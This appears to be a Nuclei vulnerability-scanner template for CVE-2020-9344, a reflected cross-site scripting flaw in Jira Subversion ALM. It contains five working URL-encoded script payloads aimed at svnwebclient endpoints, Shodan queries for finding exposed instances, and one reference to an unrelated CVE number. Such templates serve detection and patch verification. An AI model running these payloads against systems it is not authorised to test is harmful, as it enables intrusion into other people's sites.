Jira Subversion ALM for Enterprise <8.8.2 - Cross-Site Scripting

id: CVE-2020-9344

info:
  name: Jira Subversion ALM for Enterprise <8.8.2 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: Jira Subversion ALM for Enterprise before 8.8.2 contains a cross-site scripting vulnerability at multiple locations.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade Jira Subversion ALM for Enterprise to version 8.8.2 or later to mitigate this vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9344
    - https://kintosoft.atlassian.net/wiki/spaces/SVNALM/pages/753565697/Security+Bulletin
    - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-007.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13483
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-9344
    cwe-id: CWE-79
    epss-score: 0.05198
    epss-percentile: 0.91451
    cpe: cpe:2.3:a:atlassian:subversion_application_lifecycle_management:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: atlassian
    product: subversion_application_lifecycle_management
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve2020,cve,atlassian,jira,xss,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
      - '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS'
      - '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
      - '{{BaseURL}}/plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test'
      - '{{BaseURL}}/plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "jira"
          - "subversion"
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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